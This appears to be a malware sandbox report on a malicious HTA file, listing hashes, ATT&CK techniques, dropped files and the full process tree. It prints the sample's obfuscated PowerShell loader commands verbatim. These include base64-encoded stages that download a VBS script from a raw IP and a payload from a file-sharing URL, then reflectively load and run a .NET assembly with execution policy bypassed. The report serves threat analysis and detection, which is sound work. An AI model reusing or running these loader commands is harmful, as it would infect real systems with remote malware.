7abe05251323a89ff4f0939f7f4a09662ff4b4450ffb00bd457c8cdef52903a5

General

Target

35717c891450767af251ec90a7c05ffd407d7b2d2897d96c176c51b5b8a156b5.hta
Size

178KB
MD5

05dcffe1d8e8e209a90b522192ad8000
SHA1

77c19b392d39bce4906b5c4e5f1ab0a0c9182dc7
SHA256

35717c891450767af251ec90a7c05ffd407d7b2d2897d96c176c51b5b8a156b5
SHA512

11eafd5f126bb4873ec7be1dc6fe7246f3de8324c413073bc914827695ed1db1bb9b6e870414c0d4aba990a6a817d6c029f7aa02e5061434dcdb965a378b5734
SSDEEP

48:4vahW5oZz7eWLB2ZfywyQhhY1ywyQbD6ngS5RJCS0d399Dd5nCYmIYZAjo3ueufc:4vCl17ZtQjtQhVFlfnnCO4AjovtQX5Q

Score

10^/10

defense_evasion discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Signatures

Blocklisted process makes network request 3 IoCs

Processes:

PoWERsHeLl.EXepowershell.exe

flow pid process

3 2652 PoWERsHeLl.EXe
6 1576 powershell.exe
7 1576 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

2552 powershell.exe
1576 powershell.exe
Evasion via Device Credential Deployment 2 IoCs
defense_evasion execution

Processes:

PoWERsHeLl.EXepowershell.exe

pid process

2652 PoWERsHeLl.EXe
3028 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	pid	process
3	2652	PoWERsHeLl.EXe
6	1576	powershell.exe
7	1576	powershell.exe

pid	process
2552	powershell.exe
1576	powershell.exe

pid	process
2652	PoWERsHeLl.EXe
3028	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

powershell.exepowershell.exemshta.exePoWERsHeLl.EXepowershell.execsc.execvtres.exeWScript.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PoWERsHeLl.EXe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main mshta.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

PoWERsHeLl.EXepowershell.exepowershell.exepowershell.exe

pid process

2652 PoWERsHeLl.EXe
3028 powershell.exe
2552 powershell.exe
1576 powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

pid	process
2652	PoWERsHeLl.EXe
3028	powershell.exe
2552	powershell.exe
1576	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

PoWERsHeLl.EXepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2652	PoWERsHeLl.EXe
Token: SeDebugPrivilege	3028	powershell.exe
Token: SeDebugPrivilege	2552	powershell.exe
Token: SeDebugPrivilege	1576	powershell.exe

Suspicious use of WriteProcessMemory 28 IoCs

Processes:

mshta.exePoWERsHeLl.EXecsc.exeWScript.exepowershell.exe

description	pid	process	target process
PID 1084 wrote to memory of 2652	1084	mshta.exe	PoWERsHeLl.EXe
PID 1084 wrote to memory of 2652	1084	mshta.exe	PoWERsHeLl.EXe
PID 1084 wrote to memory of 2652	1084	mshta.exe	PoWERsHeLl.EXe
PID 1084 wrote to memory of 2652	1084	mshta.exe	PoWERsHeLl.EXe
PID 2652 wrote to memory of 3028	2652	PoWERsHeLl.EXe	powershell.exe
PID 2652 wrote to memory of 3028	2652	PoWERsHeLl.EXe	powershell.exe
PID 2652 wrote to memory of 3028	2652	PoWERsHeLl.EXe	powershell.exe
PID 2652 wrote to memory of 3028	2652	PoWERsHeLl.EXe	powershell.exe
PID 2652 wrote to memory of 2956	2652	PoWERsHeLl.EXe	csc.exe
PID 2652 wrote to memory of 2956	2652	PoWERsHeLl.EXe	csc.exe
PID 2652 wrote to memory of 2956	2652	PoWERsHeLl.EXe	csc.exe
PID 2652 wrote to memory of 2956	2652	PoWERsHeLl.EXe	csc.exe
PID 2956 wrote to memory of 3064	2956	csc.exe	cvtres.exe
PID 2956 wrote to memory of 3064	2956	csc.exe	cvtres.exe
PID 2956 wrote to memory of 3064	2956	csc.exe	cvtres.exe
PID 2956 wrote to memory of 3064	2956	csc.exe	cvtres.exe
PID 2652 wrote to memory of 2596	2652	PoWERsHeLl.EXe	WScript.exe
PID 2652 wrote to memory of 2596	2652	PoWERsHeLl.EXe	WScript.exe
PID 2652 wrote to memory of 2596	2652	PoWERsHeLl.EXe	WScript.exe
PID 2652 wrote to memory of 2596	2652	PoWERsHeLl.EXe	WScript.exe
PID 2596 wrote to memory of 2552	2596	WScript.exe	powershell.exe
PID 2596 wrote to memory of 2552	2596	WScript.exe	powershell.exe
PID 2596 wrote to memory of 2552	2596	WScript.exe	powershell.exe
PID 2596 wrote to memory of 2552	2596	WScript.exe	powershell.exe
PID 2552 wrote to memory of 1576	2552	powershell.exe	powershell.exe
PID 2552 wrote to memory of 1576	2552	powershell.exe	powershell.exe
PID 2552 wrote to memory of 1576	2552	powershell.exe	powershell.exe
PID 2552 wrote to memory of 1576	2552	powershell.exe	powershell.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\35717c891450767af251ec90a7c05ffd407d7b2d2897d96c176c51b5b8a156b5.hta"
1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1084
- C:\Windows\SysWOW64\wiNdoWSPoWeRShElL\V1.0\PoWERsHeLl.EXe
  "C:\Windows\SysTEM32\wiNdoWSPoWeRShElL\V1.0\PoWERsHeLl.EXe" "pOWersheLL -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe ; INvokE-EXPressiON($(INvOkE-ExpressiON('[SystEM.tExt.encoDinG]'+[char]0X3A+[char]58+'UTF8.GetsTRIng([SyStEm.cOnVeRT]'+[ChaR]0X3A+[chaR]58+'frombasE64StRIng('+[chaR]34+'JFhvY0VSN21mYWMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRELXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVNYmVSZEVGaW5pVElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNT04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbkhyTG8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamxXTWh0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEwsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVEd1JCWENTLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFFS3ZxKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZHpUayIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZVNQQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbHhzQnRTTVB2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYb2NFUjdtZmFjOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3Mi40NC4xNzgvNTMvc2VlbXliZXN0bmV0d29ya3doaWNoZ2l2ZWJlc3R0aGluZ3NlbnRpcmVsaWZld2l0aG1lLnRJRiIsIiRFTnY6QVBQREFUQVxzZWVteWJlc3RuZXR3b3Jrd2hpY2hnaXZlYmVzdHRoaW5nc2VudGlyZWxpZmV3aXRoLnZiUyIsMCwwKTtzVEFydC1zbEVFUCgzKTtJRVggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZW15YmVzdG5ldHdvcmt3aGljaGdpdmViZXN0dGhpbmdzZW50aXJlbGlmZXdpdGgudmJTIg=='+[chaR]0X22+'))')))"
  2⤵
  - Blocklisted process makes network request
  - Evasion via Device Credential Deployment
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2652
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe
    3⤵
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3028
- - C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\l2ifl1q9.cmdline"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2956
  - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCD7D.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCCD7C.tmp"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3064
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\seemybestnetworkwhichgivebestthingsentirelifewith.vbS"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2596
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdzZVlpbWFnZVUnKydybCA9IFB1SWh0JysndHBzJysnOicrJy8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbCcrJ2UvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3QnKydHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgUHVJO3NlWXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XJysnZWJDbGllbnQ7c2VZaW1hZ2VCeXRlcyA9IHNlWXdlYkNsaWVuJysndC5Eb3dubG9hZERhdGEoc2VZaW1hZ2VVcmwpO3NlWWltYWcnKydlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKHNlWWltYWdlQnl0JysnZXMpO3NlWXN0YXJ0RmxhZyA9IFB1STw8QkFTRTY0XycrJ1NUQVJUPj5QdUk7c2VZZW5kRicrJ2xhZyA9IFB1SScrJzw8QkFTRTY0X0VORD4+UHVJO3NlWXN0YXJ0SW5kZXggPSBzZVlpbWFnZVRleHQuSW5kZXhPZignKydzZVlzdGFydEZsYWcpO3NlWWVuZCcrJ0luZGV4ID0gc2VZaW1hZ2VUZXh0LkluZGV4T2Yoc2VZZW5kRmxhZyk7cycrJ2VZc3RhcnRJbmRleCAtZ2UgMCAtYW5kIHNlWWVuZEluZGV4IC1ndCBzZVlzdGFydEluZGV4O3MnKydlWXN0YXJ0SW5kZXggKz0gc2VZc3RhcnRGbGFnLkxlbmd0aDtzZVliYXNlNjRMZW5ndGggPSBzZVllbmRJbmRleCAtIHNlWXN0YXJ0SW5kZXg7c2VZYmFzZTY0Q29tbWFuZCA9JysnIHNlJysnWWltYWcnKydlVCcrJ2V4dC5TdWJzdHJpbmcoc2VZc3RhcnRJbmRleCwnKycgc2VZYmFzZTY0TGVuZ3RoKTtzZVliYXNlNjRSZXZlcnNlZCA9IC1qb2luIChzZVliYXNlNjRDb21tYW5kJysnLlRvQ2hhckFycmF5KCkgMnBPIEZvckUnKydhY2gtT2JqZWN0IHsgc2VZXyB9KVstMS4uLShzZVknKydiYXNlNjRDb21tYW5kLkxlbmd0aCldO3NlWScrJ2NvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQycrJ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJysnc2VZYmFzZTY0UmV2ZXJzZWQpO3NlWScrJ2xvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsJysnZWN0aW9uLkFzc2VtYmx5XScrJzo6TG9hZChzZVljb21tYW5kQnl0ZXMpO3NlWXZhaU1ldGhvZCA9IFsnKydkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoUHVJVkFJUHVJKTtzZVl2YWlNZScrJ3Rob2QuSW52bycrJ2tlKHNlWW51bGwsIEAoUHVJdHh0LlRHUkZGUlcvMzUvODcxLjQ0LjI3MS43MDEvLycrJzpwdHRoUHVJLCBQdUlkZXNhdGl2YWRvUHVJLCBQdUlkJysnZXNhdGl2YWRvUHVJLCBQdScrJ0lkZXNhdGl2YWRvUHVJLCBQdUlhc3BuZXRfY29tcGlsJysnZXJQdUksIFB1SWRlc2F0aXZhZG9QdUksICcrJ1B1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkbycrJ1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkb1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1STFQdUksUHVJZGVzYXRpdmFkb1B1SSkpOycpLnJFUGxhQ0UoJ1B1SScsW1N0ckluR11bQ0hBUl0zOSkuckVQbGFDRSgnMnBPJywnfCcpLnJFUGxhQ0UoJ3NlWScsJyQnKXwgLiAoKGdWICcqTWRyKicpLm5BbUVbMywxMSwyXS1qT0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2552
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('seYimageU'+'rl = PuIht'+'tps'+':'+'//1017.filemail.com/api/fil'+'e/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f PuI;seYwebClient = New-Object System.Net.W'+'ebClient;seYimageBytes = seYwebClien'+'t.DownloadData(seYimageUrl);seYimag'+'eText = [System.Text.Encoding]::UTF8.GetString(seYimageByt'+'es);seYstartFlag = PuI<<BASE64_'+'START>>PuI;seYendF'+'lag = PuI'+'<<BASE64_END>>PuI;seYstartIndex = seYimageText.IndexOf('+'seYstartFlag);seYend'+'Index = seYimageText.IndexOf(seYendFlag);s'+'eYstartIndex -ge 0 -and seYendIndex -gt seYstartIndex;s'+'eYstartIndex += seYstartFlag.Length;seYbase64Length = seYendIndex - seYstartIndex;seYbase64Command ='+' se'+'Yimag'+'eT'+'ext.Substring(seYstartIndex,'+' seYbase64Length);seYbase64Reversed = -join (seYbase64Command'+'.ToCharArray() 2pO ForE'+'ach-Object { seY_ })[-1..-(seY'+'base64Command.Length)];seY'+'commandBytes = [System.C'+'onvert]::FromBase64String('+'seYbase64Reversed);seY'+'loadedAssembly = [System.Refl'+'ection.Assembly]'+'::Load(seYcommandBytes);seYvaiMethod = ['+'dnlib.IO.Home].GetMethod(PuIVAIPuI);seYvaiMe'+'thod.Invo'+'ke(seYnull, @(PuItxt.TGRFFRW/35/871.44.271.701//'+':ptthPuI, PuIdesativadoPuI, PuId'+'esativadoPuI, Pu'+'IdesativadoPuI, PuIaspnet_compil'+'erPuI, PuIdesativadoPuI, '+'PuIdesativadoPuI,PuIdesativado'+'PuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuI1PuI,PuIdesativadoPuI));').rEPlaCE('PuI',[StrInG][CHAR]39).rEPlaCE('2pO','|').rEPlaCE('seY','$')| . ((gV '*Mdr*').nAmE[3,11,2]-jOIN'')"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1576

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\RESCD7D.tmp

Filesize
1KB

MD5
486f35d71ec045b6f1e6f7336376157e

SHA1
004b43de66a7d88a30ac0f4f6b7be16623d31be4

SHA256
2bd847f77c4057f53098a839bb14f02d748683891f632cbe035d0d50a1e3079e

SHA512
0ba57389641e0a415ff68cbf9de8fe84b6df2c22a53201d466f4d7430c54e408cff964e58ec29fe9c5217988100b87cd361db2bcfb9b5593bf8531fcccdc91d5

Download Submit
C:\Users\Admin\AppData\Local\Temp\l2ifl1q9.dll

Filesize
3KB

MD5
bb901771d6581bcf9e2da4973d5e3298

SHA1
c5ebda065d468bf67af092d0a8abcf64097e89f3

SHA256
712e6ce1a5bfbeb270071524a9dbb6e65c0a8fa8a7cbf363bbdcfe2c0a843673

SHA512
7624e5fbb716a08bd08d04d93754cb515049b2963b2b621f7fa466c4e4888716fdd22e7850772bb12d00a525151fcc982639e5496a830cc1959596583d8cc8cc

Download Submit
C:\Users\Admin\AppData\Local\Temp\l2ifl1q9.pdb

Filesize
7KB

MD5
69150d8835b5896a3636ac42f7296b89

SHA1
124288dec1480a77774e87167bc963f535edf132

SHA256
4e1f2fe72ec9760486be25608e6faae427da409c44a958650e0f7484363b1899

SHA512
0f3772ac082cf0308370a4e08f88c98695b588bd312a6fb480b4a334ab4159379b14d623cdd6ef48529bc2ccb0972da84301ccd6ff1efe8677f92429e77bfc7b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
334540864de145a6e81684b5d8a658fb

SHA1
a2740b7357d07a0c41c3960532d7018408f1b18b

SHA256
78bc73b3086cfc58d101aefb228705480c05c1ab131c436435241e25466dfc6a

SHA512
f24cc4b781a248b967e54ccd9b1b60235569abc30f27c37a2432ab8195205877a8c7d07eb22b77fc4a81a083f78ac4889f3cf0e930e2f01c9650d81d3369658c

Download Submit
C:\Users\Admin\AppData\Roaming\seemybestnetworkwhichgivebestthingsentirelifewith.vbS

Filesize
137KB

MD5
855d024750a1bc1bc078e60c05e506e3

SHA1
480c344ef4e060adb7ca7e159c815cb38ac87614

SHA256
560327e8e4c818547fe966c8704d97270986b7457d62a154219e81ed4afb4667

SHA512
64a68dd3c8750e7a90c95078dc1db87086c546212b56348e6d45f4444b5dd7e6725f3b5ddbc2c414d08a7df2fbf2eecd11b9ab414588ac7b66f57f70fbb85c94

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSCCD7C.tmp

Filesize
652B

MD5
3a960f57737d0b9a22fafb0c4a10837a

SHA1
bc0628e5c865c0a03cf9f423f056c03ed9cc01ea

SHA256
bd793f940f3b6eda258057639484bee6fc682bfdceca1608de0413957525fc88

SHA512
1ce9a5312e9f05739da847bb69664c1c6185410a8dbce4398c23d048668c1d7a454ed652926675ad739400cb82458e066876b3a32d2ade02415764d48a16136e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\l2ifl1q9.0.cs

Filesize
472B

MD5
1a212b8a44924d84eeba108f2409b5e8

SHA1
b19066fab9c3329cd206958dacee65a08607586b

SHA256
977b687ccdcaea25b4afdd04dbac19bf12b31afad4ae226d7b7e5ed5cabcf073

SHA512
4d4bbada1880ce68ceeaff34a1d412350f715c0f5f741f7f47692549280dc92738881ce1fff7bbcd472610a63d99ded94ca713cc859b330a07d13df2313ea453

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\l2ifl1q9.cmdline

Filesize
309B

MD5
194f1a969097c02371426026742855d0

SHA1
37c0a174c760021b1e6289d6589f45bc787192a9

SHA256
5c7ea66666ee5b7e8c3d0b10a6b8f2082bd886ccca0469caf6cba6b91339e7f0

SHA512
77e261f028cc6f3a6650e0cd6b34604c246db95325d58bd6edf80d609e39b87bb25f13a456a74ad9b4f782faba01a3fff88448914e13edd823ff28616bc6daad

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads